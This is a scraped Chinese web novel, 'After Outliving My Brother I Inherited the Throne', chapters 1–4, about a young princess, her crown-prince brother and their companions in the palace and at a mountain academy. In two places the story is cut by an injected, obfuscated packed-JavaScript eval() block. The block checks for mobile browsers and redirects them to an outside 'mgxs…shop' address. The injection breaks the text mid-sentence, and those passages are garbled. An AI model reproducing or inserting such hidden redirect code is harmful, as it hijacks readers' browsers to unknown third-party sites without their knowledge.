《把我哥熬死后继承皇位了》 1. 第一章 无人的宫道上,两侧黄头宫墙高耸,斜下的微弱阴影吞没在惨白的月色里,惨白月色均匀铺洒在脚下的方砖上,四周没有一丝声响,静得瘆人,空得森然。 许曦孤身站在这样的宫道上,小小一团暴露无遗。 她频繁眨动的双眼暴露出她的紧张和恐惧,小手攥紧披风的领口,不停转动着脑袋打量四周。 她不知道怎么忽然就剩自己一个人了,也不知道自己这是走到了哪里,更不知道该怎么回到母后宫里去。 “咳......咳。” 突然一道藕断丝连的咳嗽声吓了许曦一跳,她往自己的小披风里又缩了缩。 但这是她听见的唯一一道人声。 不论怎样,她得去瞧瞧。 她又听了一会儿,那咳声游丝似地若有若无,极微弱,同时脚下细碎地移动,像一只夜色下逃窜的小老鼠,断断续续地找到了咳声的来源。 这是一座极幽深的宫室。 宫门半掩着,旁生一棵极高大的树遮住月亮,以至于其中透不出一丝光亮,只有浓稠似墨的黑。 许曦咽了口口水,那道引她到此处的咳声又响起,从门缝中跑出,忽大忽小,仿佛已病入膏肓,行将就木,任难耐的咳嗽在空败的身体里自如穿梭。 她往前伸出半只脚,没多久又缩回,头在领子里埋得更深了,她刚刚想起了她让嬷嬷偷偷给她讲的那些神鬼故事。 皇宫里......也有鬼吗? 那咳声突然停了,像暗处的鬼魅失了兴致,收了神通,又或者......欲拒还迎。 这奏效了。 许曦想着这是她唯一听到的声音,闭上眼,咬着牙,攥紧披风的领口冲了进去。 踏进宫室,再跑得离门口的那棵树远些,多少也就能见些光亮。 许曦小心翼翼地先后睁开左右两只眼,静静地听着。 人起居活动的窸窣声,不知从何处而起的风声...... 那咳声又起了。 许曦探头探脑地听着,强压着恐惧仔细辨别方向,尽力让自己不再去回想起嬷嬷讲的那些鬼故事的内容。 大致判断出方向,她蹑手蹑脚地往后走,心跳如鼓,仿佛踏在初冰封的湖面上。 她即将转过一个拐角,走路的速度也明显慢了下来,头在领子里越埋越低。 转过去会是什么? 她要找的人?还是嬷嬷讲的凄艳的女鬼,毛脸的精怪? 转过去后没有人,也没有哪扇窗透出灯亮。看上去更像是有某种没有形状的存在潜伏在暗处觊觎着她。 许曦刚开始还大着胆子试图张望一二,寻一寻活人的踪迹。但站久了,也许是吹在面上的风太冷,她心底渐生悚然,不愿再停留在此处,打算抓紧时间跑出去在宫道上碰碰运气。 她后退一步,接着转身,却眼睁睁看见在这一瞬间距离自己更远的左侧似乎有一道黑影晃了过去,飘飘忽忽的。 不像人,像嬷嬷讲的鬼。 “啊————!!!” 积压已久的恐惧终于爆发,许曦霎时紧闭双眼蹲在地上,用披风紧紧包裹住自己,扯着嗓子尖叫。 小女孩很快喊破了音,惊慌的大眼睛再睁开时有泪珠在里面打转。 她小心地观察着四周,没看见有什么危险的东西靠近自己才暂时松了一口气,扶了一把地上打算再站起来,可两条腿控制不住地发软。 委屈,害怕,惊慌....... 种种情绪杂糅在一起竟诡异地让许曦倔强地一次次尝试站起来,虽然这个过程伴随着不断流出的眼泪和低声的呜咽。 女童无助的哭声渐渐弥散在这个冷寂荒凉的宫室,直到有另两道声音重叠响起。 “好好!” 许曦立即回头,看见了哥哥和谢稳。 两人面色慌张,正往她这跑,身后跟着提灯笼的宫人。 “哥哥!”许曦坐在地上嚎啕大哭,眼泪止不住地流,接二连三挂在下巴尖上,伸出双臂是一个等待拥抱的姿势,“呜......哇哇.......哇......呜呜......” “哥哥在。”许熙把人扶起来搂进怀里,一手掏出帕子给人擦眼泪,轻声哄着,“没事了,哥哥找到你了。” 谢稳抿着唇没说话,安静地给许曦打理弄乱的衣裙。 “疼!”许曦忽然喊。 宫人殷勤地把灯笼提得更近了些,照见许曦红着鼻子靠在哥哥怀里抽抽嗒嗒,手臂怪异地紧缩着。 谢稳一怔,心头一缩,眉头皱得更紧,轻轻扯开许曦腕上堆叠的衣袖。 小孩白皙细嫩的手掌心擦出一道血痕,稀稀拉拉翻着边,模糊的血迹覆在上面,将干未干。 谢稳轻轻捏着她的手腕,另一手灵巧地把袖口挽起使其挨碰不到伤口。 他就这么捏着,然后慢慢地蹲下了,把许曦的手捧在眼前,唇越抿越紧,像将断未断的弓弦。 他似乎是有点想不明白,又有点难过,以至于此时竟显得比受伤的人更无助。 他沉默着,一手在身上摸了个遍,腰间,怀里,袖口,这些地方都有家里给他准备的各式金疮药,可他摸了又摸,哪个拿出来都不合适。 小殿下用的该是最好的,这些药不够好,用了让人疼。 思量了半天,谢稳慢吞吞地从怀中掏出一方锦帕,轻缓地细细系在许曦手上,动作间似乎也不着痕迹地从泛红的眼眶旁擦掉了一滴眼泪。 这一切都被许熙看在眼里,他绷着脸把妹妹抱得更紧了些,看似平静的一双眼满是怒气。 谢稳托着许曦的手站起身,许熙探着脖子瞄了一眼,见锦帕包得严密才道,“阿稳,我背着好好,你帮我把好好放到背上来。”说着,他躬下腰,半曲着腿。 “哎,太子殿下!”宫人连忙出声,笑容局促,“公主殿下还是由奴婢抱着吧,您当心累坏了。” 许熙没动,他抬起头,这次目光不加掩饰地凶狠,像一头护食的小狼,“给你?把孤的妹妹再丢一回吗?你有几个脑袋!” 宫人连忙收声低头,不敢再出一语。 谢稳半扶半抱着把许曦送上了许熙的后背,理好披风的绒领挡住钻脖的冷风,又小心地护好许曦受伤的那只手。 他目光流连着在许曦身上打转,确定一切妥帖后才道,“好了。” 许熙站起身,腰依然前弓着托起妹妹,一脚一脚往皇后的甘泉宫走。 谢稳默不作声地跟在身侧,细心掖好许曦的衣角,仔细留心着那只伤手的情况。宫人前后提着灯笼跟紧三个小孩。 中间下起细雪,谢稳脱下一件薄罩衣,从许曦头顶到脚尖薄绒毯似地披盖上。 他和许熙两个人轮换着,一点点把许曦背回了甘泉宫。 刚踏到宫门口,一团红色的身影喜鹊似地奔了出来,“是好好吗?是好好回来了吗?!” 谢稳一指抵在唇前示意她噤声,另一手在许曦背上轻缓地拍了拍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许曦急切地追问了一句,“不能带我吗?” 老头犹豫了一下,如实相告,“这......按规矩,公主殿下是不能跟着的,” 许曦瘪起嘴,眼圈泛红,又气又委屈,“我就知道,都不告诉我......肯定就不带我去......”她说着,眼泪吧嗒吧嗒往下掉,打湿在衣服上。 许熙忙蹲下身,拿着帕子接珍珠似地给许曦轻轻擦着眼泪,嘴上柔声哄着,“哥哥实在有要紧事办,走不开。等回来了,任好好罚我好不好?” “我不......”许曦抹着眼泪,呜咽转为抽泣,哭声渐大,“就要跟哥哥在一起......”她胡乱推搡着许熙的手,仿佛如若不能实现这个要求,连眼前慌忙给她擦眼泪的许熙也是不能共处的恶人。 许熙守着妹妹,想碰又不敢碰,更不愿意傻站着看妹妹哭,只好用目光向叔公求助。 老头眼珠轱辘一转,摆出语重心长的样子,张嘴就开始吓唬小孩,“公主,山里危险。有狼钻出来都是常事,说不准还能碰上熊呢。” “我不怕!有哥哥在!”许曦以近乎捍卫的姿态喊了回去,接着又是呜呜地哭。 她抱着哥哥的手又紧了几分,声音小小的,沙哑细软,泪珠在睫毛上颤动,“哥哥,你把我一个人留在宫里,我会想你的......” 2. 第二章 许熙眉眼一松,心里却一紧,他把妹妹揽进怀里,安慰性地抚过她背脊,嘴巴开开合合几次,什么也没说出来,满眼疼惜。 两个小孩紧紧抱在一起,仿佛生来如此相依,显得站在一旁的老头多余又刻薄。 老头背着手,在两个小孩的头顶左看看右看看,心头生出些被人下了套的荒谬感。他瞪着眼匪夷所思,这太子殿下刚刚不是还跟他同一阵营的吗? 好一出被迫拆散的苦情戏,诓他老人家成了那个阴险恶毒的老贼! 老头越想越气,抖着胡子甩袖大踏步走了,扬声抛下一句,“那公主殿下也去吧!” 许曦从哥哥怀里抬起头,泪珠沾在哭红的脸上,眼睛也洇得湿红,抽着嗓子,话说得断断续续,“哥.......哥哥,我.......我也能.......也能去了吗?” 许熙蹲下身把妹妹揽在肩头,拍着后背一下下给她顺着气,许曦看不见的眼睛柔软,含着轻淡的笑,“啊,能去了。”他顺嘴夸了一句,“好好很厉害,让叔公答应带上好好。” 许曦一被人夸就想笑,可刚哭过又不好意思,于是靠在哥哥肩头抿着嘴悄悄偷笑,眼睛弯成两轮上弦月,睫上未干的泪珠变成星星。 估摸着妹妹应该已经哭得差不多了,许熙把人从怀里扒出来,用帕子轻轻擦干净脸蛋,“好好没怎么来过我的书房吧?正好我最近着人添置了些新玩意儿,好好要不要看看?” 许曦握紧哥哥的手,抽着鼻子矜持地点了点头。许熙轻笑,站起身牵着妹妹迈开步子。 入夜,许熙把妹妹送回甘泉宫。 甘泉宫门口,许曦一把抓住许熙宽大的袖口,“哥哥......” “嗯?”许熙回头,眼神温柔,“好好怎么了?” 许曦仰着脸直勾勾盯着许熙,攥着人衣服的手握紧成拳头,“你别忘了出宫要带上我。” 许熙笑,露出一点牙,又蹲在妹妹身前,语气郑重地说,“不会忘记的。”他紧接着揉了揉妹妹的头,弯着眼调侃道,“忘了谁都不会忘记你这个宝贝疙瘩的。” 许曦的声音小下来,以一种说秘密的姿态又问,“忘了叔公都不会忘了我,对吧?” 许熙忍俊不禁,破功笑出声,“对,忘了叔公都不会忘记好好。”他神秘兮兮地伸出手,攥成拳,只留了一根小手指,“拉钩要不要?拉了钩的事情都会变成真的。” “要!”许曦以一种生怕他反悔的速度把手勾上去,占了大便宜似地咧着嘴笑。 许熙眼带微笑唱着,有节奏地晃着两人勾在一起的手,“拉钩,上吊,一百年不许变,谁变谁就是——” “小狗!”许曦抢着喊出来,笑容灿烂,喜不自胜。 月色下,兄妹俩一大一小,一静一动,相同的是两双对视着的相像笑眼。 五日后,六辆马车依次停在东宫门前整装待发,箱笼捆得严严实实,麻绳缠了好几圈打了死扣,油布蒙得滴水不漏。随行的侍从卫兵一早行列整齐地守在了边上。 他们早,许曦更早。 天刚蒙蒙亮,许曦就带着贴身的侍女钻进东宫,把许熙敲了起来。 许熙披着外衣单手撑在椅上,他先是往外瞧了一眼天色,这会儿甚至还没到各宫上灯的时候,随后又把目光转回妹妹身上,“.......好好?你这是.......?” 许曦背着手,埋着脑袋,看着倒是一副老实认错的乖巧样子。 她一双手在背后翻花绳似地绞,说着话,声音越来越大,头也越抬越高,“东宫这么大,我怕哥哥一个人在这里会害怕呀!我来保护哥哥!” 她昂着脑袋,说得振振有词,煞有其事。 许熙不气反笑,几步走到她身前蹲下身抬头和她对视,眉眼弯弯,“那怎么昨日不见你来?前日也不见你来?哥哥昨日和前日就不害怕吗?” “嗯.......我......”许曦支支吾吾答不上来,正费力想着说辞,忽然被许熙揉在脑袋上,伴着轻笑声,“还不到出发的时辰呢,好好先睡下吧。” 许曦这一睡就睡到了京城外,马车小船儿似地晃,把她从梦乡摇醒。她坐起身,原先盖在肩头的厚毯滑落到脚边又掉在车厢底。 几步跪着打开车窗,许曦探脑袋出去,正有一阵冷风过,吹得清明。 她张望一眼,车队正行在山林里,远处群山连绵,三五成群,披着冬日里枯败的灰黄白色,春日尚早。移步换景,隔着接连的山岳,依稀能认出京城还剩一个小尖。 回到车厢里,关紧窗户,许曦抱着毯子挨到哥哥边上,“咱们去哪儿啊?” 闭目养神的许熙睁开眼,把妹妹往身边抱了抱,顺手又用毯子把妹妹裹好,好像把人装在一个大荷包里似的。他敛着眉眼,语气轻柔,“去子午岭。” 他摸到妹妹腰间手感怪异,又按了两下,“这是什么?” 许曦自己也摸了摸,反应过来,“是表姐送的弹弓。” “知礼送的?”许熙问。 “嗯。”许曦应了一声,“和谢稳一起送的,谢稳送的如意。”她忽然想起前一年谢稳满眼望着她说的那句“明年生辰,小殿下会收到一个更好的如意。”她眨眨眼抛在脑后,问起更关心的。 “子午岭?”许曦重复了一遍,露在毯子外面的脑袋转了转,又问,“子午岭在哪儿?去那儿找谁?” 许熙念顺口溜似地道,“子午岭上是云笈峰,云笈峰里有个书院,书院起了个名叫太平,我们要找的人就在那里。” 太平书院,一个和世俗相隔绝又千丝百缠的奇怪存在。 书院立在荒无人烟的山岭,教习一方子弟,教成后又随其来去,不拘是拜将封侯还是渔樵耕读。结业弟子多有天赋在身,卒有小成。 倘有一方地界出现欣欣向荣的迹象,向上追寻往往少不了太平书院弟子的影子。 书院只一个规矩——不轻易插手各势力之间的争斗。 哪怕承袭于当初书院创始人与穆太祖的关系而一直由太平书院弟子担任的大穆国师也秉持着高座钓鱼台的作风。 “太平书院?”许曦用自己尚且稚嫩的智慧思考了一下,“里面的人和哥哥一样,都要读书?” “对,很聪明。”许熙笑着在她鼻子上点了一下。 许曦下意识眨了一下眼,咧唇笑,“那是他们书读得厉害,还是哥哥厉害?” “嗯......”许熙抿唇,眼神游移着收回下落,“一半一半吧。” 许曦没看出他的局促,笑得眼睛发亮,“我知道,虽然他们很厉害,但是哥哥也很厉害!”许熙摸摸鼻子,挡住发红的耳朵,嗡声应了下来。 从没离皇宫这么远,许曦看什么都新鲜。今日问花,明日问鸟,后日问人家屋顶的草。 一路问着问着,太平书院就到了。 老头一手拄拐,一手把玉色的令牌递给门口的小童,“劳烦通传一声,许家来人。” 小童接下来,仔细检查后收好,温声道,“请您和后面的公子小姐先往中堂去,先生随后就到。”他转身进了门里,钻出个新小童给一行三人领路。 许曦牵着哥哥的手往里走,回头看,门口又立了个新小童,打着哈欠倚在门上。 三人在中堂等了不多会儿,一个青衣白发的老者面色和蔼地出现,身边伴着刚刚的小童。 心知这就是太平书院的主人,叔公上前相迎,“山长。” 老人慈眉善目,笑呵呵地点头,全白的长眉随着点头的弧度轻轻荡着,“你......又是许家的谁啊?” “小辈是太祖的四世孙了。”叔公回,“这两位是今朝的太子和一母同胞的公主,太祖的六世孙。” “山长好。”兄妹俩连声喊。 老人的目光在兄妹俩身上转圈,看着看着,眼睛不动声色地微眯,笑容里也多出一道深意,随即是朗声大笑,若无其事,“好......好.......” 他找了个位子坐下,其他人也都一一落座。 老人幽深中闪着暗芒的眼神在许熙身上一闪而过,晃神功夫就变成了满脸的和煦,“想不到啊,我竟然能等到第三个......” 他从腰间拽出一纸卷轴摊开在桌上,又随手拈来支毛笔,信笔一圈,“这些,就是你们能带走的人。” 新墨洇在纸上,勾出十四个名字。 跟着他的小童凑上前瞧了一眼,回身传话下去,不一会儿,这十四人相继来到,站在堂上,男女、年纪不一。 已近弱冠者有之,刚及豆蔻者有之,垂髫年幼者亦有之,错杂着站了一排。 许熙的目光游鱼似地在这些人身上划过,最后在叔公身上一点,谨慎地没说话。叔公也沉默着。许曦双手规矩地放在身前,眼睛猫儿似地灵动,打量每一个人。 老人端详着神色各异的三人,打破沉默,“好了,尽你们挑吧。” 叔公沉吟片刻,走到许熙身侧躬身耳语,“殿下,依照规矩,该配伴读三人。” 许熙眨眨眼,从太平书院选出的伴读向来没有标准,只由储君一人决定。他审慎的目光扫过面前的一众弟子,仔细观察,猜测着那个可能的人。 也许他这次就能带走他未来的国师,多上数年少时情谊,也许不能。 许熙在前面挑,许曦在后面看。 她目光跳动着,一点即过,偶尔流连,最后定在了队伍末尾。 临近队尾站着一个圆头圆脸的女童,看着身量应该只比许曦大出一两岁去,丱发左右整齐束在脑后,青白的布条柔顺地从耳后搭在肩上。 她大抵是仗着个子小难被人看到,竟一心较劲在袖管上,不断重复着折起、比较、放下的动作。 折起、比较、放下、折起、比较、放下...... 折腾几个来回终于折出满意的长度,褶皱也收拾得整齐,林三咧出一点得意的笑,上下打理整齐衣袍,重新背起手站好。 “你在干什么?” 一抬头,一张脸凑在林三眼前,惊得她下意识后撤一步。 许曦奇怪地看她一眼,又问,“你在干什么?” 林三上下打量她,这小孩儿生得粉雕玉琢,珠明睛亮,好看是好看,就是行径有点出人意料。 她刚提起的一口气吐出,抬起手臂轻声解释给她听,“在理我的袖子。” 理袖子?袖子有什么好理的?许曦打量她叠得整齐的袖口,心道奇怪,但也明白若是上手去查看实在无礼,询问道,“为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317540|198991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么?” 林三唇边噙着笑,看得出来她是真喜欢这件事,并不为其扰,“两边长度折得合适还一样,看起来心情好。” 许曦心不在焉地应着,眼神早就从袖口转移到了对面人的脸上,眼睛亮亮的,鼻子翘翘的,嘴巴釉红像映日果的里心,牙齿白白的,脸蛋嫩嫩的,说话柔柔的。 “你跟我一起好不好?”许曦冷不丁道,黑亮的眼睛直勾勾盯着林三。 “.......啊?”林三一愣,缓缓转过头望向青衣的老人,满眼懵然。 许曦也看,但看向的是哥哥和叔公的方向,她又重复了一遍,“我想让她和我待在一起。” “这......”许熙和老头对视一眼,两个人眼里明晃晃都是为难,他们已经选好伴读了。 许熙看看妹妹,许曦目光执拗,显然不会轻易改变主意,而且好好难得找到喜欢的玩伴呢。他抿抿嘴,打算争取一下,“山长......” 老人和颜悦色地打断他,“太子殿下,老朽刚刚所言,一字不改。这些弟子尽你们去挑。” 许曦第一个喊出来,“山长爷爷!你愿意把她给我了吗?!” 老人点点头,又轻声纠正,“我给不了,你可以当作请她去做客。假使你们以后相处得不好,再放她回家就是。我太平书院的弟子,闭着眼睛都摸得到家门!”他哈哈大笑。 许曦似懂非懂地点点头,转身牵着林三的手把她从队伍中拉到身后椅子上,自己笑眯眯地守在边上。 林三人坐在椅子上,魂儿没跟上,身体僵硬得像个人偶,不敢相信自己就要这么被带走了。 回程路上,一行人找了个茶楼歇脚,开了个雅间聚在一桌。 许曦抱着刚到手的林三不撒手,把人家一只手臂紧紧抱在怀里,“我还没问呢,你叫什么名字?” 林三试图抽了抽,没抽动,直接放弃,“......我叫林三。” “林三?”许曦追问,“是哪两个字?” 林三一板一眼地解释,“我跟着先生姓林,双木林,抓阄抓到三,所以是林三。” 许熙也问自己的伴读,分别得到了“林七”、“林十一”和“林二十三”的答案。他表情凝滞在脸上,不用问,肯定是和林三一样的原因。 叔公清清嗓子打破尴尬,“......京中规矩多,不比书院。几位伴读不如另起他名,方便称呼。” 几个书院弟子面面相觑,神色不一。 先说话的林十一咽了口口水,眼底攒动着小火苗似的兴奋,“虎啸天!”林七紧跟其后,他张望了一眼窗外京城的方向,“路远。”最后是林二十三,“林策。” 叔公沉默,知天命的年纪难得有些忐忑,刚刚在书院里倒没看出来三个伴读分别是这样的脾气秉性。 他欲言又止,止言又欲,还是言了,“虎.......虎啸天,难免张扬了些,再者,恐怕也不适合出现在皇上面前。改成萧天如何?也通‘啸天’。” 萧天咂吧咂吧嘴,思忖了一下,“也行。” 许曦看完这边的热闹又转头去摇林三,满是期待,“那你呢?你改叫什么?” “我啊.......”林三想着想着就出神了,神游天外,忽然一个激灵,福至心灵,“我叫懿山,林懿山。” “林,懿,山。”许曦重复了一遍。 叔公和许熙都点头,显然对这个新名字没什么异议。 “不好不好。”许曦忽然摇起头。 林懿山疑惑看她,“哪里不好?”许熙和老头似乎也有些惊异。 许曦一拍桌子,整个人快要倾倒在人家怀里,“名字当然好。但是,‘林懿山’让他们叫去,我还叫你‘林三’好不好?” “嗯......”林懿山错愕地眨眨眼,“好......你想叫哪个都可以。” 说是这样说,许曦叫人完全看心情。 今天叫人“林三”,明天说不准就改成“林懿山”。直到回了皇宫才彻底改口成“林三”,以彰显自己和林懿山的珍贵情谊和自己的特殊地位。 公主不好好待在宫里,反而跟着找伴读的太子溜出宫,甚至给自己带回来一个。这种事倘若放在别人身上少不了一番惩戒。 可在许曦这里,皇后的纤纤玉指在额头上轻轻一点,这事也就过去了。 萧、路、林三人跟着许熙去了东宫,林懿山则留在了甘泉宫。 左右许曦再隔上一年就要去文华殿启蒙读书,如今只当是先把伴读放在身边培养感情。 林懿山进了宫,看满皇宫处处都新鲜。许曦则是看林懿山处处都新鲜。 新制的莲花饼要送到林懿山床头,红玛瑙的璎珞要挂在林懿山脖子上,进贡又赏下的浮光锦要匀给林懿山做新衣裳...... 总而言之,衣食住行,样样都拣好看精贵的。 林懿山却是在被许曦拉着逛遍皇宫里所有能去的地方后就失去了出门的兴致,一头扎进了嬷嬷备来给许曦讲故事的各式话本里。除去偶尔去东宫找师兄们聊聊天,交换一些书院的消息,许曦发出的“一起玩”邀请是她踏出房门的唯一缘由。 只是,她二人是相处融洽、和和美美了,有人的心里却不是滋味儿了。 3. 第三章 比如许知礼和谢稳。 许知礼一开始还没把这个生面孔放在心上,心想自己可是从好好出生起就认识她,不论如何也不是一个突然出现的外人可以比得上的,“亲亲表姐”的地位也该不动如山才对。 可时日渐长,事态的发展显然超出了她的预料。 甘泉宫的寝殿总是扑空,平日里送好好的礼物总会莫名其妙叫那个林懿山沾上边,连说话谈天的时候好好也要走神,三句话里两句都是“林三”开头...... 林三!林三!!林三!!! 许知礼把桌子敲得梆梆响,那个叫林三的到底有什么好! 是可忍孰不可忍!她得进宫去,和那个叫林三的当面锣对面鼓地较量较量! 至于谢稳,他作为伴读,日日跟着许熙,理应每日都能见到小殿下两面才对,但这几日似乎莫名见得少了。 他后知后觉有些不对劲,或者说,怪,怪得他不舒服,心生陌生的烦躁。比夏日在野地挨蚊子咬还烦躁。 于是这两个平日里说不上多对付的人不约而同达成了统一阵线,或者说,抓住了同一个关键的“敌人”。 这直接导致,在某个风和日丽的下午,安坐寝殿中的许曦同时迎来了许知礼和谢稳两位访客。 许知礼来的时候怒目圆睁,气势汹汹,一个箭步窜到许曦面前恶狠狠地问,“那个林......林懿山在哪儿?” “啊......?”许曦见势不好,举起双手后仰示弱,弱弱笑道,“干......干嘛啊?” 许知礼掐着腰,语气强势,“我要找她比试比试!” 许曦试探地摘下她一只手臂抱在怀里,小心翼翼道,“比什么啊?” 许知礼把手抽回来,扬着下巴,“比比谁更厉害!” 许曦又摘,又抱,“比这干什么啊......” 许知礼低下头,语气蛮横,但怒目里显出一丝委屈,“如果她没有我厉害,凭什么你总是跟她待在一起,干什么都想着她!” “啊......”许曦仿佛被当头棒喝,手上也失了力气,松开抱着的手臂,双眼失神愣在原地。 许知礼怒极,抽手转身往外跑,“林懿山!林懿山在哪儿!你出来!我要和你比试!比射箭!比拉弓!我射箭已能十中六七,弓能拉八斗!你快出来!” 她不管不顾往外跑,身后坠了一长串稀稀拉拉的宫人和追她的许曦、谢稳。 许曦好不容易赶上她,拽着她衣袖一个劲地认错,“表姐表姐,我知错了,好好知错了,你别气了......” 许知礼被拽停,跑了这一阵,她气势渐消,瞪着许曦的眼睛泛红,“我要见林懿山!” “表姐......”许曦软着嗓子接着劝,“林三不懂这些,没法和表姐比试。况且我知道,表姐最厉害了,谁都不能比过表姐......” “我不跟她比。”许知礼扭过头,口气强硬地打断她,“我就是要见她!” 许曦抿唇,犹豫了一下,还是答应了下来,带她去了林懿山的住处。 林懿山正坐在池边撑着一把自制的粗糙钓竿,此时无风,竿头有细线一丝直直垂下没入水中。 许曦探头要喊她,被许知礼一手拦在胸前,“别说话。” 许曦不明就里,疑惑地看她。许知礼闷声闷气道,“小孩才不这样,她一定是装的。咱们谁也别搭话,看她能坐到什么时候!” 许曦和谢稳互相递了个眼神,沉默地达成一致,跟着许知礼找了个隐蔽舒服的地方坐下来守着林懿山钓鱼。 这一守就硬生生熬到了太阳落山。 “表姐......”许曦试探地问,“咱们还等吗?” “等!”许知礼连头都没回,死死盯着池边的青色身影。 她要等,谢稳可等不了,宫钥要落了。 他起身请辞,末了唇角弯弯道,“小殿下,我明日还来的。” 许曦点点头,直到人走远了不见身影才反应过来她还没问谢稳今日为什么来。她下意识往他消失的方向又张望了一眼,却望见了长公主府的人。 许曦拍拍许知礼肩头,“表姐?表姐?姑姑差人来寻你了。” 许知礼回头望,一打眼就注意到了为首面色严肃的嬷嬷。她不甘心地又看了一眼池塘边的林懿山,林懿山依旧是八风不动,显然是还没打算回去。 眼看嬷嬷逼近,许知礼从石凳上跳下,匆匆忙忙要走,又打了个回马枪,“我明日还来,你也得在,昂?” 她刚才还着急去找长公主府的人,这会儿许曦不应她她竟动也不动,直勾勾盯着许曦要一个回答。 “啊,好。”许曦眨眨眼应下来,许知礼这才连跑带跳地消失在她的视野里。 第二日,又是等到太阳落山。 “小殿下,我明日还来的。” “我明日还来,你也得在,昂?” 第三日。 “小殿下,我明日还来的。” “我明日还来,你也得在,昂?” ...... 第五日。 ...... 第七日。 ...... 第八日。 林懿山照旧是一早坐在了池边,三人组也在老地方静坐守着。 整个院子里静得掉根针都听得见,只偶尔有风过刮得满树枝叶簌簌作响。 许知礼望眼欲穿地盯着不动声色的林懿山,盯着偶尔飘摇的鱼线,盯着时有涟漪泛起的池面,呼吸轻浅得几不可闻。 忽然,林懿山动了。 她站起身,两手握着钓竿,腰腿发力,从池中甩出一条叼着鱼钩的胖锦鲤,水花四溅,打湿池边的石路。 顾不得锦鲤挣扎跳动溅出的水星,林懿山小跑到边上,蹲下盯着锦鲤嘿嘿笑。 她就说嘛,苦心人天不负,虽然在这守了七天,但不还是让她钓上来了一条? 她怎么看这条活蹦乱跳的胖锦鲤怎么喜欢,龇着牙用钓竿碰了碰,还没想好要不要找个缸养起来,忽然听见远处爆发出一阵欢呼。 “钓到了!钓到了!还是条大鱼!” 林懿山随手把鱼扔进盆里但谨慎把盆挪得离岸边远了一点,这才循声找过去,弯弯绕绕发现了躲在竹丛后的许曦一行人。 “你们......”林懿山皱起眉,顿了一下,打算先问问熟人,于是看向许曦,“公主,你们在这做什么呢?” “我们......我们.......”许曦隐约意识到把躲在角落里整整七天多偷窥别人钓鱼的事说出来似乎有点丢脸,她耳根憋得涨红,搜肠刮肚找着合适的借口。 “我们看今日天气不错出 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她忽然抬眸,手一张让鱼竿掉在地上,“红烧!” 鱼竿摔在地上叮哩咣啷一顿响震得许曦脑袋发懵,“......红烧?”她试图重新理解刚刚听到的内容,又问,“名字叫红烧?林红烧?鱼红烧?” “鱼红烧!”林懿山弯腰连鱼带盆抱进怀里,寻了个方向踏步就走,突然一个急停,回头露出一个灿烂的笑容,“要留下吃饭吗?” “鱼......要被吃掉?”许知礼终于反应过来,她探头张望,只能瞧见林懿山怀里一点翕动的鱼鳃。 这可是她守了八天的鱼啊......她心头泛上些酸胀。 可这是人家钓上来的,她做不了主。 “鱼是该被吃掉的!”一炷香后的许知礼舞着筷子改了口,鱼的归宿就应该是跳进锅里被煮得麻辣鲜香啊! 一口滑嫩的鱼肉下肚,许知礼不顾礼仪咂着嘴香得直感叹,“我不杀鱼,鱼却因我而死。罪过啊,罪过!” “我不杀鱼,鱼却因我而死?罪过?”许曦听见,看看鱼又看看许知礼,想问清楚。 “小殿下,原句是‘我不杀伯仁,伯仁却因我而死’。”谢稳拉回她的注意,一手挽起宽松的袖口给人小手短的许曦布菜,“等小殿下来年去了学堂就明白了。”他忽然笑,“不过郡主刚才改得也很合适,只有一点,”他狡黠地弯起眼,“诚心不足。” 话说完,他自己笑得满脸满眼,惹得一直看着他的许曦也笑,见牙不见眼,连专心吃鱼的林懿山也挑着眉毛笑。 许知礼没跟他吵嘴,嘴里咬着鱼肉,眼睛盯着盘子里下一次要落筷的地方。吵嘴有什么意思?把这么好吃的鱼吃开心了才是赢家。 她嚼嚼嚼,嚼嚼嚼,鱼刺吐在身前的小盘里,吐完忽然道,“林懿山,你想来长公主府看看吗?” 不等林懿山反应,许曦“腾”地一下站起身,看着许知礼的眼睛满是提防,“不行!林三是我的!” 许知礼端着饭碗瞄她一眼,改了口,“行吧,君子不夺人所好。”她说完还勾了一下嘴角,似乎颇自得于自己的高尚品性。 “对了......”她又起了一个话头,余光扫见重新盯上自己的许曦,她哼笑一声继续道,“小帽子怎么办?” 4. 第四章 小帽子是她给钓上来的那尾大胖锦鲤起的名字,桌上装在盘里的是小厨房常备的寻常鲤鱼,小帽子正悠哉地在水缸里摇着尾巴吐泡泡。 林懿山望着角落里的水缸想了想,忽然问,“公主要吗?” “要什么?”许曦在等待谢稳给她挑鱼刺的“百忙”之中分神问了一嘴。 “小帽子。”林懿山抬筷子一指。 “不要不要。”许曦再没分出半个眼神,随便摆了摆手,把注意力又放回谢稳手中细致分离鱼肉的筷子上。 林懿山搁下碗筷起身,走到水缸旁趴在缸口上往里瞧,小帽子以不应该长出如此身形的毅力在缸里一圈圈巡游着,尾巴在身后轻轻摆动,勾得林懿山的目光也跟着它一圈圈转。 半晌,她忽然有了主意,“咱们把她倒回去吧?反正整个甘泉宫的鱼都是公主的,把她倒回去,还给公主。” 听见还有自己的事,许曦下意识回头。 许知礼在桌子那头拍桌而起,“你们都不要小帽子,我要!” 当日黄昏落钥,长公主府来接人时就看见自己呼呼向前跑的小郡主身后跟了个抱着瓷缸满头大汗,气喘吁吁,面带苦笑的宫人。 带着小帽子回家,许知礼喋喋不休地跟母亲和姐姐念叨了一晚上的林懿山。 至此,化干戈为玉帛。 再凑到一起时,许知礼连提都不用提,直接奔向林懿山的住处把人挖出来。 三个小孩凑在一起,每天动则满宫里捉迷藏、打弹弓,静则被林懿山强压着陪她下棋或者吹捧她练的大字,偶尔林懿山会讲一讲在太平书院时的事。 